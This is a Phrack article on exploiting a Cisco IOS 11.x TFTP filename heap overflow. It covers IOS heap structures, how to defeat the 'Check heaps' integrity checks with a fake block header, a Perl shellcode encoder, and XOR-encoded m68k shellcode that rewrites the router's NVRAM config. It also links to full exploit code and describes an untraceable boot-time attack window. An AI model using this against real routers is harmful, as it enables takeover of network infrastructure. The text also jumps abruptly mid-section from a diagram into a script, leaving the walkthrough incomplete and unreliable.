==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x07 of 0x10
|=-------------=[ Burning the bridge: Cisco IOS exploits ]=--------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ FX of Phenoelit ]=----------------=|
--[ Contents
1 - Introduction and Limitations
2 - Identification of an overflow
3 - IOS memory layout sniplets
4 - A free() exploit materializes
5 - Writing (shell)code for Cisco
6 - Everything not covered in 1-5
--[ 1 - Introduction and Limitations
This article is to introduce the reader into the fun land of exploiting a
routing device made by Cisco Systems. It is not the final word on this
toppic and merely reflects our research results.
According to Cisco Systems, around 85% of all software issues in IOS are
the direct or indirect result of memory corruptions. By the time of this
writing, yours truly is not aware of one single case, where overflowing
something in Cisco IOS led to a direct overwrite of a return address.
Although there are things like stacks in IOS, it seems to be very uncommon
for IOS coders to use local function buffers. Therefore, most (if not all)
overflows we will encounter are some way or anyother heap based.
As a fellow researcher used to say, bugs are not an unlimited resource.
Especially overflow bugs in Cisco IOS are fairly rare and not easily
compared to each other. This article will therefore limit the discussion
to one particular bug: the Cisco IOS TFTP server filename overflow. When
using your router as a TFTP server for files in the flash filesystem, a
TFTP GET request with a long (700 characters) filename will cause the
router to crash. This happens in all IOS versions from 11.1 to 11.3. The
reader might argue the point that this is no longer a widely used branch,
but yours truly asks you to bare with him to the end of this article.
The research results and methods presented here were collected during
inspection and exploitation attempts using the already mentioned TFTP bug.
By the time of this writing, other bugs are researched and different
approaches are tested, but the here presented procedure is still seen as
the most promising for widespread use. This translates to: use your
favorite private Cisco IOS overflow and try it.
--[ 2 - Identification of an overflow
While the reader is probably used to identify stack smashing in a split
second on a commonly used operating system, he might have difficulties
identifying an overflow in IOS. As yours truly already mentioned, most
overflows are heap based. There are two different ways in IOS to identify
a heap overflow when it happens. Being connected to the console, the
reader might see output like this:
01:14:16: %SYS-3-OVERRUN: Block overrun at 2C01E14 (red zone 41414141)
-Traceback= 80CCC46 80CE776 80CF1BA 80CF300
01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc
20E3ADC,80CA1D8 20DFBE0,80CA1D8 20CF4FC,80CA1D8 20C851C,80CA1D8
20C6F20,80CA1D8 20B43FC,80CA1D8 20AE130,80CA1D8 2075214,80CA1D8
01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc
20651E0,80CA1D8 205EF04,80CA1D8 205B338,80CA1D8 205AB80,80CA1D8
20AFCF8,80CA1C6 205A664,80CA1D8 20AC56C,80CA1C6 20B1A88,80CA1C6
01:14:16: %SYS-6-BLKINFO: Corrupted redzone blk 2C01E14, words 382,
alloc 80ABBFC, InUse, dealloc 206E2F0, rfcnt 1
In this case, an IOS process called "Check heaps", of which we will hear
a lot more later, has identified a problem in the heap structures. After
doing so, "Check heaps" will cause what we call a software forced crash.
It means that the process kills the Cisco and makes it reboot in order
to get rid of the problem. We all know this behavior from users of
MS-DOS or Windows based systems. What happend here is that an A-Strip
overwrote a boundary between two heap memory blocks. This is protected by
what Cisco calls a "RED ZONE", which in fact is just a static canary.
The other way a heap overflow could manifest itself on your console is an
access violation:
*** BUS ERROR ***
access address = 0x5f227998
program counter = 0x80ad45a
status register = 0x2700
vbr at time of exception = 0x4000000
special status word = 0x0045
faulted cycle was a longword read
This is the case when you are lucky and half of the work is already done.
IOS used a value that you somehow influenced and referenced to not
readable memory. Unfortunately, those overflows are later harder to
exploit, since tracking is a lot more difficult.
At this point in time, you should try to figure out under which exact
circumstances the overflow happens - pretty much like with every other bug
you find. If the lower limit of your buffer size changes, try to make sure
that you don't play with the console or telnet(1) connections to the router
during your tests. The best is always to test the buffer length with a just
rebooted router. While it doesn't change much for most overflows, some
react differently when the system is freshly rebooted compared to a system
in use.
--[ 3 - IOS memory layout sniplets
To get any further with the overflow, we need to look at the way IOS
organizes memory. There are basically two main areas in IOS: process memory
and IO memory. The later is used for packet buffers, interface ring buffers
and so on and can be of interest for exploitation but does not provide some
of the critical things we are looking for. The process memory on the other
hand behaves a lot like dynamic heap memory in Linux.
Memory in IOS is split up in blocks. There seems to be a number of pointer
tables and meta structures dealing with the memory blocks and making sure
IOS can access them in an efficient way. But at the end of the day, the
blocks are hold together in a linked list structure and store their
management information mostly inline. This means, every memory block has
a header, which contains information about the block, it's previous one
and the next one in the list.
+--------------+
.-- | Block A | | Block B | --+
+--------------+
| Block C |
+--------------+
The command "show memory processor" clearly shows the linked list
structure.
A memory block itself consists of the block header with all the inline
management information, the data part where the actual data is stored
and the red zone, which we already encountered. The format is as follows:
|| Comment
+--------------+
| MAGIC | Static value 0xAB1234CD
+--------------+
| PID | IOS process ID
+--------------+
| Alloc Check | Area the allocating process uses for checks
+--------------+
| Alloc name | Pointer to string with process name
+--------------+
| Alloc PC | Code address that allocated this block
+--------------+
| NEXT BLOCK | Pointer to the next block
+--------------+
| PREV BLOCK | Pointer to the previous block
+--------------+
| BLOCK SIZE | Size of the block (MSB marks "in use")
+--------------+
| Reference # | Reference count (again ???)
+--------------+
| Last Deallc | Last deallocation address
+--------------+
| DATA |
| |
....
| |
+--------------+
| RED ZONE | Static value 0xFD0110DF
+--------------+
In case this memory block is used, the size field will have it's most
significant bit set to one. The size is represented in words (2 bytes),
and does not include the block overhead. The reference count field is
obviously designed to keep track of the number of processes using this
block, but yours truly has never seen this being something else then 1
or 0. Also, there seem to be no checks for this field in place.
In case the memory block is not used, some more management data is
introduced at the point where the real data was stored before:
| [BLOCK HEAD] |
+--------------+
| MAGIC2 | Static value 0xDEADBEEF
+--------------+
| Somestuff |
+--------------+
| PADDING |
+--------------+
| PADDING |
+--------------+
| FREE NEXT | Pointer to the next free block
+--------------+
| FREE PREV | Pointer to the previous free block
+--------------+
| |
....
| |
+--------------+
| RED ZONE | Static value 0xFD0110DF
+--------------+
Therefore, a free block is an element in two different linked lists:
One for the blocks in general (free or not), another one for the list of
free memory blocks. In this case, the reference count will be zero and
the MSB of the size field is not set. Additionally, if a block was used
at least once, the data part of the block will be filled with 0x0D0D0D0D.
IOS actually overwrites the block data when a free() takes place to prevent
software issues from getting out of hand.
At this point, yours truly would like to return to the toppic of the "Check
heaps" process. It is here to run about once a minute and checks the doubly
linked lists of blocks. It basically walks them down from top to buttom to
see if everything is fine. The tests employed seem to be pretty extensive
compared to common operating systems such as Linux. As far as yours truly
knows, this is what it checks:
1) Doest the block being with MAGIC (0xAB1234CD)?
2) If the block is in use (MSB in size field is set), check if the
red zone is there and contains 0xFD0110DF.
3) Is the PREV pointer not NULL?
4) If there is a NEXT pointer ...
4.1) Does it point right after the end of this block?
4.2) Does the PREV pointer in the block pointed to by NEXT point
back to this block's NEXT pointer?
5) If the NEXT pointer is NULL, does this block end at a memory
region/pool boundary [NOTE: not sure about this one].
6) Does the size make sense? [NOTE: The exact test done here is
still unknown]
If one of these tests is not satisfied, IOS will declare itself unhappy and
perform a software forced crash. To some extend, one can find out which
test failed by taking a look at the console output line that says
"validblock_diagnose = 1". The number indicates what could be called "class
of tests", where 1 means that the MAGIC was not correct, 3 means that the
address is not in any memory pool and 5 is really a bunch of tests but
mostly indicates that the tests lined out in point 4.1 and 4.2 failed.
--[ 4 - A free() exploit materializes
Now that we know a bit about the IOS memory structure, we can plan to
overflow with some more interesting data than just 0x41. The basic idea is
to overwrite the next block header, hereby provide some data to IOS, and
let it work with this data in a way that gives us control over the CPU. How
this is usually done is explained in [1]. The most important difference
here is, that we first have to make "Check heaps" happy. Unfortunately,
some of the checks are also performed when memory is allocated or free()ed.
Therefore, slipping under the timeline of one minute between two "Check
heaps" runs is not an option here.
The biggest problems are the PREV pointer check and the size field. Since
the vulnerability we are working with here is a string overflow, we also
have the problem of not being able to use 0x00 bytes. Let's try to deal
with the issues we have one by one.
The PREV pointer has to be correct. Yours truly has not found any way to
use arbitrary values here. The check outlined in the checklist as 4.2 is a
serious problem, since it is done on the block we are sitting in - not the
one we are overflowing. To illustrate the situation:
+--------------+
| Block Head |
...
| AAAAAAAAAAAA | ) {
chomp;
if (/[0-9a-f]+:\t/) {
(undef,$hexcode,$mnemonic)=split(/\t/,$_);
$hexcode=~s/ //g;
$hexcode=~s/([0-9a-f]{2})/$1 /g;
$alc=sprintf("%08X",$addressline);
$addressline=$addressline+(length($hexcode)/3);
@bytes=split(/ /,$hexcode);
$tabnum=4-(length($hexcode)/8);
$tabs="\t"x$tabnum;
$hexcode="";
foreach (@bytes) {
$_=hex($_);
$_=$_^$pattern if($pattern);
$hexcode.=sprintf("\\x%02X",$_);
}
print "\t\"".$hexcode."\"".$tabs."//".$mnemonic." (0x".$alc.")\n";
}
}
--- end objdump2c.pl ---
You can use the output of objdump and pipe it into the script. If the
script got no parameter, it will produce the C char string without
modifications. The first optional paramter will be your XOR pattern and the
second one can be the address your buffer is going to reside at. This makes
debugging the code a hell of a lot easier, because you can refer to the
comment at the end of your C char string to find out which command made the
Cisco unhappy.
The output for our little config_copy.s code XOR'd with 0xD5 looks like
this (trimmed for phrack):
linux# m68k-aout-objdump -d config_copy.o |
> ./objdump2XORhex.pl 0xD5 0x020F2A24
"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A24)
"\xF7\xA9\xDA\x25\xC5\x17" //moveal #267391170,%a1 (0x020F2A28)
"\xE7\x69\xD5\xD4" //movew #1,%a1@ (0x020F2A2E)
"\x90\x2F\xD5\x87" //lea %pc@(62 ),%a2 (0x020F2A32)
"\xF7\xA9\xDB\xD5\xD7\x7B" //moveal #234881710,%a1 (0x020F2A36)
"\xA1\xD4" //moveq #1,%d2 (0x020F2A3C)
"\xC7\x0F" //moveb %a2@+,%a1@+ (0x020F2A3E)
"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A40)
"\x46\x97" //subxw %d2,%d1 (0x020F2A46)
"\xBE\xD5\x2A\x29" //bmiw 22 (0x020F2A48)
"\xD9\x47\x1F\x2B\x25\xD8" //cmpil #-889262067,%a2@ (0x020F2A4C)
"\xB3\xD5\x2A\x3F" //bnew 1a (0x020F2A52)
"\xE7\x29\xD5\xD5" //movew #0,%a1@+ (0x020F2A56)
"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A5A)
"\x46\x97" //subxw %d2,%d1 (0x020F2A60)
"\xBE\xD5\x2A\x29" //bmiw 3c (0x020F2A62)
"\x66\x29\xDB\xD5\xF5\xD5" //cmpal #234889216,%a1 (0x020F2A66)
"\xB8\xD5\x2A\x3D" //bltw 32 (0x020F2A6C)
"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A70)
"\xF5\xA9\xDA\x25\xD5\xD5" //moveal #267386880,%a0 (0x020F2A74)
"\xFB\x85" //moveal %a0@,%sp (0x020F2A7A)
"\xF5\xA9\xDA\x25\xD5\xD1" //moveal #267386884,%a0 (0x020F2A7C)
"\xF5\x85" //moveal %a0@,%a0 (0x020F2A82)
"\x9B\x05" //jmp %a0@ (0x020F2A84)
Finally, there is only one more thing to do before we can compile this all
together: new have to create the new NVRAM header and calculate the
checksum for our new config. The NVRAM header has the form of:
typedef struct {
u_int16_t magic; // 0xABCD
u_int16_t one; // Probably type (1=ACII, 2=gz)
u_int16_t checksum;
u_int16_t IOSver;
u_int32_t unknown; // 0x00000014
u_int32_t cfg_end; // pointer to first free byte in
// memory after config
u_int32_t size;
} nvhdr_t;
Obviously, most values in here are self-explainory. This header is not
nearly as much tested as the memory structures, so IOS will forgive you
strange values in the cfg_end entry and such. You can choose the IOS
version, but yours truly recommends to use something along the lines of
0x0B03 (11.3), just to make sure it works. The size field covers only the
real config text - not the header.
The checksum is calculated over the whole thing (header plus config) with
the checksum field itself being set to zero. This is a standard one's
complement checksum as you find in any IP implementation.
When putting it all together, you should have something along the lines of:
+--------------+
| AAAAAAAAAAAA |
...
| AAAAAAAAAAAA |
+--------------+
| FAKE BLOCK |
| |
....
+--------------+
| Bootstrap |
| |
....
+--------------+
| config_copy |
| XOR pat |
....
+--------------+
| NVRAM header |
| + config |
| XOR pat |
....
+--------------+
...which you can now send to the Cisco router for execution. If everything
works the way it is planned, the router will seemingly freeze for some
time, because it's working the slow loops for NVRAM copy and does not allow
interrupts, and should then reboot clean and nice.
To save space for better papers, the full code is not included here but is
available at http://www.phenoelit.de/ultimaratio/UltimaRatioVegas.c . It
supports some adjustments for code offset, NOPs where needed and a slightly
different fake block for 11.1 series IOS.
--[ 6 - Everything not covered in 1-5
A few assorted remarks that somehow did not fit into the rest of this text
should be made, so they are made here.
First of all, if you find or know an overflow vulnerability for IOS 11.x
and you think that it is not worth all the trouble to exploit since
everyone should run 12.x by now, let me challange this. Nobody with some
experience on Cisco IOS will run the latest version. It just doesn't work
correctly. Additionally, many people don't update their routers anyway. But
the most interesting part is a thing called "Helper Image" or simply "boot
IOS". This is a mini-IOS loaded right after the ROM monitor, which is
normally a 11.x. On the smaller routers, it's a ROM image and can not be
updated easily. For the bigger ones, people assured me that there are no
12.x mini-IOSes out there they would put on a major production router. Now,
when the Cisco boot up and starts the mini-IOS, it will read the config and
work accordingly as long as the feature is supported. Many are - including
the TFTP server. This gives an attacker a 3-8 seconds time window in which
he can perform an overflow on the IOS, in case somone reloads the router.
In case this goes wrong, the full-blown IOS still starts up, so there will
be no traces of any hostile activity.
The second item yours truly would like to point out are the different
things one might want to explore for overflow attacks. The obvious one
(used in this paper as example) is a service running on a Cisco router.
Another point for overflowing stuff are protocols. No protocol inspection
engine is perfect AFAYTK. So even if the IOS is just supposed to route
the packet, but has to inspect the contents for some reason, you might find
something there. And if all fails, there are still the debug based
overflows. IOS offers a waste amount of debug commands for next to
everything. These do normally display a lot of information comming right
from the packet they received and don't always check the buffer they use
for compiling the displayed string. Unfortunately, it requires someone to
turn on debugging in the first place - but well, this might happen.
And finally, some greets have to be in here. Those go to the following
people in no particular order: Gaus of Cisco PSIRT, Nico of Securite.org,
Dan of DoxPara.com, Halvar Flake, the three anonymous CCIEs/Cisco wizards
yours truly keeps asking strange questions and of course FtR and Mr. V.H.,
because without their equipment, there wouldn't be any research to speak
of. Additional greets go to all people who research Cisco stuff and to whom
yours truly had no chance to talk to so far - please get in touch with us.
The last one goes to the vulnerability research labs out there: let me
know if you need any help reproducing this `;-7
--[ A - References
[1] anonymous
"Once upon a free()..."
Phrack Magazine, Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12
[2] Cisco Router IOS Memory Maps
http://www.cisco.com/warp/public/112/appB.html
[3] GNU binutils
http://www.gnu.org/software/binutils/binutils.html
[4] Motorola QUICC 68360 CPU Manual
MC68360UM, Page 6-70
|=[ EOF ]=---------------------------------------------------------------=|